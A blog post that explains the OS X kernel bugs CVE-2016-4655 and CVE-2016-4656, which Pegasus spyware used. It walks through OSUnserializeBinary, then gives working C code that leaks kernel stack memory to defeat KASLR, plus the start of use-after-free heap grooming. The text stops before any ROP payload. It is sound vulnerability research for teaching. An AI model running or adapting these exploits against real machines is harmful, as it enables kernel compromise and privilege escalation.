jndok's blog ~ Welcome to my blog!

Analysis and exploitation of Pegasus kernel vulnerabilities (CVE-2016-4655 / CVE-2016-4656)

Introduction

Hello everyone! In this blog post I decided to talk about the two recent OS X/iOS kernel vulnerabilities abused by the Pegasus spyware affecting OS X up to 10.11.6 and iOS up to 9.3.4, and try to do a kind of in-depth analysis about the bugs and the exploitation techniques used to leverage them.

Since this is my first blog post ever written, let me ask you to be a little patient and to expect some errors/sloppy writing/whatever. If you find any errors, or find something confusing, etc. just send me an email at me@jndok.net, and I’ll do my best to help you out.

The last thing to note before reading on: we will focus on the OS X kernel only. That is because making actual use of those two bugs in an iOS environment is much more complicated, due to the security measures employed. And, since this post is also aimed to beginners, we’ll keep it more straightforward and stay with OS X.

This is how the post is structured:

  • Introduction
  • Overview of OSUnserializeBinary –– details about OSUnserializeBinary, its data format and how it works.
  • Bugs analysis –– analysis of the two vulnerabilities
  • Exploitation –– the fun part!
  • Conclusion

***


Overview of OSUnserializeBinary

The XNU kernel implements a routine, called OSUnserializeXML, which is used to de-serialize an XML-formatted input to basic kernel data objects.
Recently, a new function was added, OSUnserializeBinary. Its purpose is the same as its XML counterpart, but the format processed is different. OSUnserializeBinary converts a binary format to basic kernel data objects. The format is very simple, albeit undocumented. Before analyzing the function’s code, we’ll describe that format.

OSUnserializeBinary’s Binary Format

The binary data that OSUnserializeBinary processes is simply a data stream of uint32_t (32-bit integers) contiguous values. Perhaps, an array of 32-bit integers will better represent the idea. Just a bunch of integers one after the other, with every integer describing something.
The very first integer required by any valid data stream is a unique signature (0x000000d3). Then every other integer value uses some of its bits to describe its data type, its size. Integers can also represent pure raw data.


#define kOSSerializeBinarySignature "\323\0\0" /* 0x000000d3 */

enum {
    kOSSerializeDictionary      = 0x01000000U,
    kOSSerializeArray           = 0x02000000U,
    kOSSerializeSet             = 0x03000000U,
    kOSSerializeNumber          = 0x04000000U,
    kOSSerializeSymbol          = 0x08000000U,
    kOSSerializeString          = 0x09000000U,
    kOSSerializeData            = 0x0a000000U,
    kOSSerializeBoolean         = 0x0b000000U,
    kOSSerializeObject          = 0x0c000000U,

    kOSSerializeTypeMask        = 0x7F000000U,
    kOSSerializeDataMask        = 0x00FFFFFFU,

    kOSSerializeEndCollection   = 0x80000000U,
};

As you can see, bit 31 is used to indicate whether the current collection is over, bits 30 -> 24 are used to store the actual data type, and bits 23 -> 0 are used to store actual elements lengths.

031000000024000000000000000000000000

Since an example always makes something more clear, here you go:

0x000000d3 0x81000000 0x09000004 0x00414141 0x8b000001

The binary data above corresponds to:

<dict>
    <string>AAA</string>
    <boolean>1</boolean>
</dict>

As you can see, we mark the dictionary as the last element of the first collection (0x81000000), and the boolean as the last element of the second collection (0x8b000001). Then we encode the string data (AAA) directly inline, including the null termination byte (0x00414141). Finally, for the boolean, there is no need to encode inline data, since its size (last bit) determines whether it is TRUE or FALSE.

An important thing to note is the concept of collection, and marking the collection’s end. A collection is basically a group of objects on the same level. For example, elements inside of a dictionary are all belonging to the same collection. When crafting binary dictionaries for OSUnserializeBinary it is important to always mark the end of a collection, setting the first bit (flag kOSSerializeEndCollection in our enum). Here’s an XML example, to better illustrate this concept:

<dict>                          <!-- dict, level 0 | END! -->
    <string>AAA</string>        <!-- string, level 1 -->
    <boolean>1</boolean>        <!-- bool, level 1 -->

    <string>BBB</string>        <!-- string, level 1 -->
    <boolean>1</boolean>        <!-- bool, level 1 -->

    <dict>                      <!-- dict, level 1 -->
        <string>CCC</string>    <!-- string, level 2 -->
        <boolean>1</boolean>    <!-- bool, level 2 | END! -->
    </dict>

    <string>DDD</string>        <!-- string, level 1 -->
    <boolean>1</boolean>        <!-- bool, level 1 | END! -->
</dict>

You can see the various levels there, or collections. You can also see how I marked every last element in every level/collection. If you forget to do that, OSUnserializeBinary will exit and return with a bad argument error, so keep that in mind! Also note that in the case of the outer dictionary, I mark it as last element since it is the one and only element on level 0.

Hopefully you’ll better understand the binary format now! We are now ready to start analyzing OSUnserializeBinary’s code.

OSUnserializeBinary Analysis

OSUnserializeBinary is only called inside OSUnserializeXML. If this function detects the unique binary signature (0x000000d3) at the beginning of the input data, it will know that the data is in binary format, not XML, and pass everything to OSUnserializeBinary.

libkern/c++/OSUnserializeXML.cpp
OSObject* OSUnserializeXML(const char *buffer, size_t bufferSize, OSString **errorString)
{
    if (!buffer)
        return (0);
    if (bufferSize < sizeof(kOSSerializeBinarySignature))
        return (0);

    if (!strcmp(kOSSerializeBinarySignature, buffer))
        return OSUnserializeBinary(buffer, bufferSize, errorString);

    // XML must be null terminated
    if (buffer[bufferSize - 1]) return 0;

    return OSUnserializeXML(buffer, errorString);
}

The actual code for OSUnserializeBinary, updated to last OS X vulnerable version, 10.11.6, is available here.

Simply put, what the code does is iterating over the buffer containing the binary data, one uint32_t at a time, and parsing each. During the parsing, it will create an OSObject* that will be then returned to the caller. The returned object must be a container object, that means an object which can contain others. Practically speaking, either a dictionary, an array or a set, since these are the only container objects currently implemented in the format.

This also means that there it can be only one object on level 0 (also called the first collection), and that object must be a container. In other words, all the binary data you provide has to be encapsulated in either a dictionary, an array or a set. Any other object on level 0 before or after the first valid container will be ignored.

After this basic premise, let’s start looking at the code.

...

    while (ok)
    {
        bufferPos += sizeof(*next);
        if (!(ok = (bufferPos <= bufferSize))) break;
        key = *next++;

        len = (key & kOSSerializeDataMask);
        wordLen = (len + 3) >> 2;
        end = (0 != (kOSSerializeEndCollecton & key));

        newCollect = isRef = false;
        o = 0; newDict = 0; newArray = 0; newSet = 0;

        switch (kOSSerializeTypeMask & key)
        {
            case kOSSerializeDictionary:
            ...

            case kOSSerializeArray:
            ...

            case kOSSerializeSet:
            ...

            case kOSSerializeObject:
            ...

            case kOSSerializeNumber:
            ...

            case kOSSerializeSymbol:
            ...

            case kOSSerializeString:
            ...

            case kOSSerializeData:
            ...

            case kOSSerializeBoolean:
            ...

            default:
                break;
        }

        ...

After doing some initialization and basic sanity checks, the function starts its main while (ok) loop. This is the unserializing loop, which iterates over the binary data, integer per integer, and deserializes the data objects.

At the beginning of the snippet, is located the loop incrementing code, which also reads the current integer into key. The length of the current data is then determined and saved into len. Finally the boolean end is set if the kOSSerializeEndCollecton flag (aka 31st bit) is set in the current key.

Then, the data type inside key is switched over, each case properly allocating an object corresponding to its formatted data type. For example let’s look at the kOSSerializeDictionary case:

case kOSSerializeDictionary:
    o = newDict = OSDictionary::withCapacity(len);
    newCollect = (len != 0);
    break;

o is an OSObject pointer which points to the current de-serialized object for the current loop and it is set inside each case.

case kOSSerializeData:
    bufferPos += (wordLen * sizeof(uint32_t));
    if (bufferPos > bufferSize) break;
    o = OSData::withBytes(next, len);
    next += wordLen;
    break;

Since an OSData object expects inline data in the stream, bufferPos is properly incremented to skip the inline data and avoid treating that as binary formatted input. An OSData object is then created using that same inline data, and then o is set to the new instance. Finally, next is also incremented, to skip the inline data.

By reading through the switch statement, you should be able to figure each case out pretty easily, since the code is very coincise.

So, let’s now move out of the switch statement.

if (!(ok = (o != 0))) break;

If o is still NULL, i.e. no valid object was deserialized in this loop, exit.

if (!isRef)
{
    setAtIndex(objs, objsIdx, o);
    if (!ok) break;
    objsIdx++;
}

This is actually a very important part of the code, since one of our bugs is related to this. We are going to describe the bugs later, but follow this part very carefully!

Basically, what this is saying is, if the deserialized object is not a reference (i.e. a pointer to another object in our formatted data, you can create those via kOSSerializeObject), push the object inside the objsArray array. That is an array created by OSUnserializeBinary to keep track of every deserialized object, except references as we have said.

Let’s take a look at that setAtIndex macro:

#define setAtIndex(v, idx, o)                                                           \
    if (idx >= v##Capacity)	                                                        \
    {                                                                                   \
        uint32_t ncap = v##Capacity + 64;                                               \
        typeof(v##Array) nbuf = (typeof(v##Array)) kalloc_container(ncap * sizeof(o));  \
        if (!nbuf) ok = false;                                                          \
        if (v##Array)                                                                   \
        {                                                                               \
            bcopy(v##Array, nbuf, v##Capacity * sizeof(o));                             \
            kfree(v##Array, v##Capacity * sizeof(o));                                   \
        }                                                                               \
        v##Array    = nbuf;                                                             \
        v##Capacity = ncap;                                                             \
    }                                                                                   \
    if (ok) v##Array[idx] = o;

If the index we are trying to store at is bigger than the array size, the array is enlarged. Otherwise, a simple dereference and set is performed. Now let’s go back to the main loop code.

if (dict)
{
        if (sym)
        {
            if (o != dict) ok = dict->setObject(sym, o, true);
            o->release();
            sym->release();
            sym = 0;
        }
        else
        {
            sym = OSDynamicCast(OSSymbol, o);
            if (!sym && (str = OSDynamicCast(OSString, o)))
            {
                sym = (OSSymbol *) OSSymbol::withString(str);
                o->release();
                o = 0;
            }
            ok = (sym != 0);
        }
    }
    else if (array)
    {
        ok = array->setObject(o);
        o->release();
    }
    else if (set)
    {
        ok = set->setObject(o);
       o->release();
   }
    else
    {
        assert(!parent);
        result = o;
    }

This if-else statement is actually responsible for storing every deserialized object into the container we talked about earlier. Keep in mind that those three variables (dict, array and set) will be NULL on the first loop, and will remain so until a dictionary, array or set is found in the data stream.

This means the result pointer (the returned object) will keep shifting forward in the data until a proper container object is found. Hence, every object on level 0 before a proper container and after a proper container will be completely ignored.

Now focus on the if (dict) branch, since it is again important for our use-after-free bug. As you probably know, a dictionary has to contain alternating objects, one representing a key and the other a value. The key, as the OSUnserializeBinary format specifies, has to be either an OSString or an OSSymbol. If it is an OSString, it is converted to an OSSymbol automatically, as you can see in the snippet above.

Now, that code is there to maintain the said alternation between keys and values. sym will start as NULL on the first loop, so the else branch will be taken. It is expected the first element of a dictionary to be a key, so the casting to OSSymbol, or to OSString and then to OSSymbol will succeed. On the next iteration, we will be handling the value for that key. Since sym is now set, the if (sym) branch will be taken, and dict->setObject(sym, o, true) will properly set the key/value pair in the dictionary.
sym will then be set to NULL again, since on the next iteration we are expecting a key, then a value, and so on.

We are almost done with OSUnserializeBinary, let’s go on:

if (newCollect)
{
    if (!end)
    {
        stackIdx++;
        setAtIndex(stack, stackIdx, parent);
        if (!ok) break;
    }

    parent = o;
    dict   = newDict;
    array  = newArray;
    set    = newSet;
    end    = false;
}

The boolean newCollect is only set when a container object is found (check the switch cases for kOSSerializeDictionary, kOSSerializeArray and kOSSerializeSet). If end isn’t set for that container object, it means we still have other objects on that level after the container. In this case, the parsing is “indented”, meaning that we go up by a level.

This is done because when we reach the end of the objects in the new container, we have to go back and continue deserializing objects in the previous container (since kOSSerializeEndCollection wasn’t set, there are more objects after the new container).

To handle multiple levels of indentation, every time a new container is encountered and there are objects after it, the algorithm just pushes the parent container into the stackArray and starts deserializing objects for the new container. When the end of the new container is reached, the parent is popped off the stackArray, and deserializing continues from there.

You can see that the parent pointer (which points to the container object containing the current object) is pushed to the stackArray array, and until we find another kOSSerializeEndCollecton flag in an object, every object will be contained inside of the new container. The three general variables indicating which container to push into (dict, array and set) are also set to the new container. When a kOSSerializeEndCollecton is found, the algorithm descends by a level, if needed:

if (end)
{
    if (!stackIdx) break;           /* j: when there are no more levels, deserialization is done; exit */
    parent = stackArray[stackIdx];  /* j: pop parent off the stackArray */

    stackIdx--;
    set   = 0;
    dict  = 0;
    array = 0;

    /* j: cast parent to proper container and resume deserialization */
    if (!(dict = OSDynamicCast(OSDictionary, parent)))
    {
        /* j: if parent can't be properly cast to a container, abort */
        if (!(array = OSDynamicCast(OSArray, parent)))
            ok = (0 != (set = OSDynamicCast(OSSet, parent)));
    }
}

The previous container is retrieved from the stackArray and again saved to parent. Then the three general variables are mutually exclusively re-casted to parent, so objects will be again pushed into the previous container.

The indentation is not needed if the new container is the last element of its parent container, because there are no objects belonging to the parent after the new container, so we can just push everything into the new container and then exit both the new container and the parent. Here are some XML examples:

<dict>
    <string>str_1</string>
    <boolean>1</boolean>

    <string>str_2</string>
    <boolean>1</boolean>

    <dict>                      <!-- new level (1) -->
        <string>str_3</string>
        <boolean>1</boolean>

        <string>str_4</string>
        <boolean>1</boolean>

        <string>str_5</string>
        <boolean>1</boolean>    <!-- END LEVEL 1! -->
    <dict>                      <!-- there are objects after this new container -->
                                <!-- we have to go back a level and push str_6 inside the outer dict -->
    <string>str_6</string>
    <boolean>1</boolean>        <!-- END LEVEL 0! -->
</dict>
<dict>
    <string>str_1</string>
    <boolean>1</boolean>

    <string>str_2</string>
    <boolean>1</boolean>

    <dict>                      <!-- END LEVEL 0! --> <!-- new level (1) -->
        <string>str_3</string>
        <boolean>1</boolean>

        <string>str_4</string>
        <boolean>1</boolean>

        <string>str_5</string>
        <boolean>1</boolean>    <!-- END LEVEL 1! -->
    <dict>                      <!-- there is nothing after this dict, do not indent and finally exit -->
</dict>

That was indeed a lot of explanation for relatively straightforward code, but I tried to make things as clear as possible. Explaining code will never be as good as reading code, so I suggest you go and try to clear out your eventual doubts by yourself by reading OSUnserializeBinary code.

It is now (finally!) time to look at these bugs and have some real fun.

Bugs analysis

The two bugs we are discussing in this blog post are CVE-2016-4655 and CVE-2016-4656 respectively. The former is an info-leak vulnerability, while the latter is an use-after-free vulnerability. We are going to start with the info-leak and then move on to the use-after-free.

Just a quick note for beginners: I’ll try to keep things straight and explain as much as possible in the next sections, also I’ll post several references to external links (found at the end of the article), so that you can read those and deepen your knowledge!

CVE-2016-4655 –– Kernel Info-Leak

All right, first of all: what is an info-leak[1]? It is a security vulnerability that lets an attacker disclose informations that should be not accessed. In many cases, these informations are kernel addresses. Those are useful since they help us calculate the KASLR slide[2], a random amount by which the kernel is slid every time it boots. We need this slide to carry on a code reuse attack[3], such as ROP[4].

Now let’s take a look back at kOSSerializeNumber case in the OSUnserializeBinary’s switch statement:

case kOSSerializeNumber:
    bufferPos += sizeof(long long);
    if (bufferPos > bufferSize) break;
    value = next[1];
    value <<= 32;
    value |= next[0];
    o = OSNumber::withNumber(value, len);
    next += 2;
    break;

What is wrong here? There is no check on the length of OSNumber! We can create a number with an arbitrary number of bytes. This little oversight can easily be turned into an info-leak by registering an user client[5] object in-kernel with a malformed OSNumber in its properties, then reading that property off, causing the kernel to read bytes after the OSNumber’s bounds. Since the real max size of an OSNumber is 64 bits (check how the data gets read into the value variable), we shouldn’t be able to specify more than that. We will check how to exploit this later.

CVE-2016-4656 –– Kernel Use-After-Free

Once again let’s ask, what is an use-after-free[6]? It’s a situation that happens when freed memory still has references somewhere and gets used. Imagine an object being freed, its internal data wiped out, but somewhere in the program that object is still treated as valid. That would case some nasty behaviour.

We can obviously take advantage of that, by reallocating the freed memory with our data before it gets used[7]. We’ll get to the exploitation later.

This bug is actually caused by the code responsible for casting a deserialized OSString dictionary key into an OSSymbol.

...
else
{
    sym = OSDynamicCast(OSSymbol, o);
    if (!sym && (str = OSDynamicCast(OSString, o))) {
        sym = (OSSymbol *) OSSymbol::withString(str);
        o->release();
        o = 0;
    }
    ok = (sym != 0);
}

The casting code is fine, however, see that o->release()? That frees the o pointer, which in that specific loop is pointing to the OSString deserialized object. Why is this a problem? Do you remember the objsArray array? In which all deserialized objects are stored? This freeing code actually happens after that setAtIndex macro call. What this means is that the just freed OSString is actually referenced in the objsArray, and since the setAtIndex macro doesn’t implement any kind of reference counting mechanism, the reference stored there doesn’t get removed.

This would not be a problem under some circumstances, i.e. if we cannot create references to other objects in the objsArray, but let’s take a look at the kOSSerializeObject case in the switch statement:

case kOSSerializeObject:
    if (len >= objsIdx) break;
    o = objsArray[len];
    o->retain();
    isRef = true;
    break;

As we have pointed out before, this is used to create references to other objects. Just what we needed! And there is also a pretty nice call to retain just afterwards that makes use of the freed object. Indeed a beautiful use-after-free!

We can serialize a dictionary, containing an OSString key paired with some value, then serialize a kOSSerializeObject reference to that OSString which will be freed by the time we do that, effectively calling retain on a freed object.

Exploitation

In this final part we will look into exploiting those two kernel bugs to achieve a complete LPE on OS X 10.11.6. Keep in mind that many concepts referenced here are outside of the scope of the post, but I’ll try to quickly cover them and post external links.

Exploiting CVE-2016-4655

We’ll start with the info-leak. As we said before, an info-leak is very useful to break KASLR, by obtaining the kernel slide. After breaking out of KASLR, we are ready to launch a full attack, exploiting the other bug and obtaining code execution, with the KASLR slide it will be possible to correctly execute our ROP payload, and pwn the system.

We can create an user client object in the kernel and set its properties. Those properties are just a bunch of key/pair values, set by using a dictionary. Luckily, we can also use the binary format to set the properties (since the API we call directly calls OSUnserializeXML, which calls OSUnserializeBinary in case of binary data), instead of the classic XML-formatted data. This lets us create a dictionary with a malformed OSNumber, which will be used to set a property inside the user client object.

We create user clients implicitly by opening connections to kernel services, via the IOServiceOpen call. However, we are going to use a private call, io_service_open_extended, which IOServiceOpen internally calls. That private call, along with others we are going to use, is declared in the IOKit/iokitmig.h header file. Note that your binary must be compiled as a 32-bit Mach-O, or you cannot link against the calls (I guess legacy reasons?).
Those private calls make our life easier, since many checks done in the public ones are skipped in private ones.

Here’s the info-leak exploiting plan review:

  • Craft a serialized binary dictionary that contains a malformed OSNumber with over-long size.
  • Use that serialized dictionary to set properties in a user client object in kernel.
  • Read the set property (OSNumber) back, leaking adjacent data due to long size.
  • Use some of the read data to calculate the kernel slide.

And here’s the actual code:

uint64_t kslide_infoleak(void)
{
    kern_return_t kr = 0, err = 0;
    mach_port_t res = MACH_PORT_NULL, master = MACH_PORT_NULL;

    io_service_t serv = 0;
    io_connect_t conn = 0;
    io_iterator_t iter = 0;

    uint64_t kslide = 0;

    void *dict = calloc(1, 512);
    uint32_t idx = 0; // index into our data

#define WRITE_IN(dict, data) do { *(uint32_t *)(dict + idx) = (data); idx += 4; } while (0)

    WRITE_IN(dict, (0x000000d3)); // signature, always at the beginning

    WRITE_IN(dict, (kOSSerializeEndCollection | kOSSerializeDictionary | 2)); // dictionary with two entries

    WRITE_IN(dict, (kOSSerializeSymbol | 4)); // key with symbol, 3 chars + NUL byte
    WRITE_IN(dict, (0x00414141)); // 'AAA' key + NUL byte in little-endian

    WRITE_IN(dict, (kOSSerializeEndCollection | kOSSerializeNumber | 0x200)); // value with big-size number
    WRITE_IN(dict, (0x41414141)); WRITE_IN(dict, (0x41414141)); // at least 8 bytes for our big numbe

    host_get_io_master(mach_host_self(), &master); // get iokit master port

    kr = io_service_get_matching_services_bin(master, (char *)dict, idx, &res);
    if (kr == KERN_SUCCESS) {
        printf("(+) Dictionary is valid! Spawning user client...\n");
    } else
        return -1;

    serv = IOServiceGetMatchingService(master, IOServiceMatching("IOHDIXController"));

    kr = io_service_open_extended(serv, mach_task_self(), 0, NDR_record, (io_buf_ptr_t)dict, idx, &err, &conn);
    if (kr == KERN_SUCCESS) {
        printf("(+) UC successfully spawned! Leaking bytes...\n");
    } else
        return -1;

    IORegistryEntryCreateIterator(serv, "IOService", kIORegistryIterateRecursively, &iter);
    io_object_t object = IOIteratorNext(iter);

    char buf[0x200] = {0};
    mach_msg_type_number_t bufCnt = 0x200;

    kr = io_registry_entry_get_property_bytes(object, "AAA", (char *)&buf, &bufCnt);
    if (kr == KERN_SUCCESS) {
        printf("(+) Done! Calculating KASLR slide...\n");
    } else
        return -1;

#if 0
    for (uint32_t k = 0; k < 128; k += 8) {
        printf("%#llx\n", *(uint64_t *)(buf + k));
    }
#endif

    uint64_t hardcoded_ret_addr = 0xffffff80003934bf;

    kslide = (*(uint64_t *)(buf + (7 * sizeof(uint64_t)))) - hardcoded_ret_addr;

    printf("(i) KASLR slide is %#016llx\n", kslide);

    return kslide;
}

Crafting the dictionary

We are going to make use of the enum described above to create binary serialized data. The simplest way to do this is allocate memory and write masked values into it using pointers.

void *dict = calloc(1, 512);
uint32_t idx = 0; // index into our data

#define WRITE_IN(dict, data) do { *(uint32_t *)(dict + idx) = (data); idx += 4; } while (0)

Our macro will be useful, since it lets us write into the allocated memory and keeps the index updated for us, each time we use it.

So, using the knowledge we have been gathering so far, let’s go on and write a concept for the dictionary in XML:

<dict>
    <symbol>AAA</symbol>
    <number size=0x200>0x4141414141414141</number>
</dict>

Translating into binary:

WRITE_IN(dict, (0x000000d3)); // signature, always at the beginning

WRITE_IN(dict, (kOSSerializeEndCollection | kOSSerializeDictionary | 2)); // dictionary with two entries

WRITE_IN(dict, (kOSSerializeSymbol | 4)); // key with symbol, 3 chars + NUL byte
WRITE_IN(dict, (0x00414141)); // 'AAA' key + NUL byte in little-endian

WRITE_IN(dict, (kOSSerializeEndCollection | kOSSerializeNumber | 0x200)); // value with big-size number
WRITE_IN(dict, (0x41414141)); WRITE_IN(dict, (0x41414141)); // at least 8 bytes for our big number

To actually test if our dictionary is valid without creating the user client, we can use the io_service_get_matching_services_bin private call (always found in the IOKit/iokitmig.h header), which will use later anyway, to trigger the use-after-free.

host_get_io_master(mach_host_self(), &master); // get iokit master port

kr = io_service_get_matching_services_bin(master, (char *)dict, idx, &res);
if (kr == KERN_SUCCESS) {
    printf("(+) Dictionary is valid! Spawning user client...\n");
} else
    return -1;

If the result equals 0, the dictionary we created has been parsed correctly and is therefore valid. Now that we have established the validity of out dictionary, we know we can set properties with it, so let’s go on and create the user client.

Spawning the user client

As mentioned before, we will have to call the io_service_open_extended on a service to spawn a user client. What service we use is not important, as long as it provides an user client. For example, by opening the IOHDIXController (used for disk stuff) service, we will spawn a IOHDIXControllerUserClient object, so we’re going with that.

serv = IOServiceGetMatchingService(master, IOServiceMatching("IOHDIXController"));

kr = io_service_open_extended(serv, mach_task_self(), 0, NDR_record, (io_buf_ptr_t)dict, idx, &err, &conn);
if (kr == KERN_SUCCESS) {
    printf("(+) UC successfully spawned! Leaking bytes...\n");
} else
    return -1;

First we obtain a port to our service, by using the IOServiceGetMatchingService call, which filters out services from the IORegistry via a matching dictionary containing their name (IOServiceMatching). Then we open the service (spawning the user client) via io_service_open_extended private call. This lets us specify the properties directly.

Now, presumably our user client was created with the property we specified. How do we access it? We need to iterate through the IORegistry manually until we find it. Then we’ll read the property off, causing the info-leak.

IORegistryEntryCreateIterator(serv, "IOService", kIORegistryIterateRecursively, &iter);
io_object_t object = IOIteratorNext(iter);

What this code does is simply to create an io_iterator_t and set it to serv in the IORegistry. serv is just a Mach port representing the actual driver object in the kernel. Since user clients are clients to the main driver object, our user client will be created just after the driver object in the IORegistry. Hence, we just increment the iterator one time to obtain the Mach port representing our user client. Once the user client object has been created in the kernel and we found it in the IORegistry, we can read the property, triggering the info-leak.

Reading the property

char buf[0x200] = {0};
mach_msg_type_number_t bufCnt = 0x200;

kr = io_registry_entry_get_property_bytes(object, "AAA", (char *)&buf, &bufCnt);
if (kr == KERN_SUCCESS) {
    printf("(+) Done! Calculating KASLR slide...\n");
} else
    return -1;

Once again we use a private call, io_registry_entry_get_property_bytes. This is akin to IORegistryEntryGetProperty, but lets us get the raw bytes directly. So, at this point, the buf buffer will contain our leaked bytes. Let’s print it and see what is there:

for (uint32_t k = 0; k < 128; k += 8) {
    printf("%#llx\n", *(uint64_t *)(buf + k));
}

Here’s the output:

0x4141414141414141  // our valid number
0xffffff8033c66284  //
0xffffff8035b5d800  //
0x4                 // other data on the stack between our valid number and the ret addr...
0xffffff803506d5a0  //
0xffffff8033c662b4  //
0xffffff818d2b3e30  //
0xffffff80037934bf  // function return address
...

The first value, 0x4141414141414141, is our actual number, remember? The rest of the values are leaked from the kernel stack. At this point, it is very useful to check out the kernel code that reads the property from the user client, so we can understand a bit more of what is going on. The actual code is located into the is_io_registry_entry_get_property_bytes function, called from io_registry_entry_get_property_bytes.

iokit/Kernel/IOUserClient.cpp
/* Routine io_registry_entry_get_property */
kern_return_t is_io_registry_entry_get_property_bytes(
	io_object_t registry_entry,
	io_name_t property_name,
	io_struct_inband_t buf,
	mach_msg_type_number_t *dataCnt )
{
    OSObject	*	obj;
    OSData 	*	data;
    OSString 	*	str;
    OSBoolean	*	boo;
    OSNumber 	*	off;
    UInt64		offsetBytes;
    unsigned int	len = 0;
    const void *	bytes = 0;
    IOReturn		ret = kIOReturnSuccess;

    CHECK( IORegistryEntry, registry_entry, entry );

#if CONFIG_MACF
    if (0 != mac_iokit_check_get_property(kauth_cred_get(), entry, property_name))
        return kIOReturnNotPermitted;
#endif

    obj = entry->copyProperty(property_name);
    if( !obj)
        return( kIOReturnNoResources );

    // One day OSData will be a common container base class
    // until then...
    if( (data = OSDynamicCast( OSData, obj ))) {
	len = data->getLength();
	bytes = data->getBytesNoCopy();

    } else if( (str = OSDynamicCast( OSString, obj ))) {
	len = str->getLength() + 1;
	bytes = str->getCStringNoCopy();

    } else if( (boo = OSDynamicCast( OSBoolean, obj ))) {
	len = boo->isTrue() ? sizeof("Yes") : sizeof("No");
	bytes = boo->isTrue() ? "Yes" : "No";

    } else if( (off = OSDynamicCast( OSNumber, obj ))) {    /* j: reading an OSNumber */
	offsetBytes = off->unsigned64BitValue();
	len = off->numberOfBytes();
	bytes = &offsetBytes;
#ifdef __BIG_ENDIAN__
	bytes = (const void *)
		(((UInt32) bytes) + (sizeof( UInt64) - len));
#endif

    } else
	ret = kIOReturnBadArgument;

    if( bytes) {
	if( *dataCnt < len)
	    ret = kIOReturnIPCError;
	else {
            *dataCnt = len;
            bcopy( bytes, buf, len );
	}
    }
    obj->release();

    return( ret );
}

We are reading an OSNumber, so look at the OSNumber case:

...
else if( (off = OSDynamicCast( OSNumber, obj ))) {
	offsetBytes = off->unsigned64BitValue(); /* j: the offsetBytes variable is allocated on the stack */
	len = off->numberOfBytes(); /* j: this reads out our malformed length, 0x200 */
	bytes = &offsetBytes; /* j: bytes* ptr points to a stack variable */

    ...
}
...

Then, out of the if-else statement:

if( bytes) {
    if( *dataCnt < len)
        ret = kIOReturnIPCError;
    else {
        *dataCnt = len;
        bcopy( bytes, buf, len ); /* j: this leaks data from the stack */
    }
}

When bcopy carries out the copy, it will keep reading a malformed length from the bytes pointer, which points to a stack variable, effectively leaking data from the stack. After a while, it will reach the function’s return address, stored on the stack. As we know, that address can be found statically in the kernel binary, and it will be unslid. So, by subtracting the static one (which is unslid) to the one we have leaked from the stack (which is slid), we will obtain the kernel slide!

Calculating the kernel slide

So, we have to find the unslid return address. Fire up your favorite disassembler (I use Hopper in this case since it’s faster than IDA), load the kernel binary, and find the is_io_registry_entry_get_property_bytes function in the kernel.

Now we just have to find Xrefs to this function. Hopper lists them right next to the function prologue, in IDA you have to press CMD-X/CTRL-X.

; XREF=sub_ffffff80003933c0+250

...      
ffffff80003934ba         call       _is_io_registry_entry_get_property_bytes    /* the actuall call */
ffffff80003934bf         mov        dword [ds:r14+0x28], eax    /* here's the function return address! */
...

As the x86-64 ISA dictates, the call instruction will push the address 0xffffff80003934bf (the return address) to the stack. This address will be slid at runtime, so let’s go back and check out leaked bytes dump.

0x4141414141414141  // our valid number
...
0xffffff80037934bf  // function return address

Now we know that 0xffffff80037934bf is actually the slid version of 0xffffff80003934bf. Let’s do the math:

0xffffff80037934bf - 0xffffff80003934bf = 0x3400000

This is actually the last part of the code:

uint64_t hardcoded_ret_addr = 0xffffff80003934bf;

kslide = (*(uint64_t *)(buf + (7 * sizeof(uint64_t)))) - hardcoded_ret_addr;

printf("(i) KASLR slide is %#016llx\n", kslide);

This could be improved by dynamically obtaining the static address inside the kernel, but that is beyond the scope of this article.

So now we have the slide! In your case, it will (very probably) be different, and it will change each time you reboot. We can now build a functional ROP chain and trigger the use-after-free to execute it, gaining root privileges. Let’s keep going!

Exploiting CVE-2016-4656

Now that we have the kernel slide, we can keep going and gain privileges from the UAF. To exploit use-after-frees, of any kind and on every platform, it is important to know how the heap allocator works. This is because you need to have a clear understanding of how allocations/frees are handled by the allocator, to successfully manipulate them.

XNU’s heap allocator is called zalloc, and there’s plenty of documentation available online on it[8][9][10]. You can also read the code located in osfmk/kern/zalloc.h and osfmk/kern/zalloc.c of the XNU source code tree. I’ll quickly go over the basics, just so you can understand what’s going on with the exploit.

Simply put, zalloc organizes allocations in zones. A zone represents a list of same-sized allocations. The most commonly used zones are the kalloc zones. kalloc is an higher level kernel allocator, which builds on zalloc. It rounds up the requested allocation size to the nearest power of two. Hence, registered kalloc zones are holding power of two allocations. Check out the output of the zprint command on OS X:

[jndok:~jndok(Debug)]: sudo zprint | grep kalloc
kalloc.16                     16       1148K       1167K      73472       74733       62742     4K    256
kalloc.32                     32       2160K       2627K      69120       84075       55581     4K    128
kalloc.48                     48       3448K       3941K      73557       84075       67638     4K     85
kalloc.64                     64       5236K       5911K      83776       94584       80523     4K     64
kalloc.80                     80       1100K       1167K      14080       14946       13586     4K     51
kalloc.96                     96       4160K       5254K      44373       56050       41922     8K     85
kalloc.128                   128       2220K       2627K      17760       21018       16915     4K     32
kalloc.160                   160        704K       1037K       4505        6643        4115     8K     51
kalloc.256                   256       8004K       8867K      32016       35469       30851     4K     16
kalloc.288                   288        740K        768K       2631        2733        2179    20K     71   
kalloc.512                   512       1900K       2627K       3800        5254        3266     4K      8
kalloc.1024                 1024       3048K       3941K       3048        3941        2588     4K      4   
kalloc.1280                 1280        400K        512K        320         410         201    20K     16   
kalloc.2048                 2048       1872K       2627K        936        1313         909     4K      2   
kalloc.4096                 4096       6532K       8867K       1633        2216         515     4K      1   
kalloc.8192                 8192       3160K       3503K        395         437         269     8K      1   

These zones only hold allocations of the specified size. The freed elements are kept inside a linked list, where most-recent free elements are attached at the end. This is important, since it means that most recently freed elements get reallocated first. In other words, if an element is freed, and we are quick enough, we can manage to reallocate that.

How do we manage to reallocate is called allocation primitive. It is basically a way to reliably allocate a desired amount of kernel memory. The allocation primitive we are going to use is simply creating an object inside the dictionary, after the OSString. As we have seen, OSUnserializeBinary allocates memory for deserialized objects, and that will do just fine. The only thing we also need is to know exactly how much memory we need to allocate and what should we write into it.

In our particular case, the freed element is an OSString, which has a size of 32 bytes. This means that every OSString will be put inside of the kalloc.32 zone. Hence, to reallocate that freed OSString, we need something that will get allocated inside the same zone. An OSData is a perfect candidate, since we can control its buffer’s size via the dictionary, specify 32 and get the reallocation. The OSString will get reused when we create a kOSSerializeObject reference to it (remember the call to retain?).

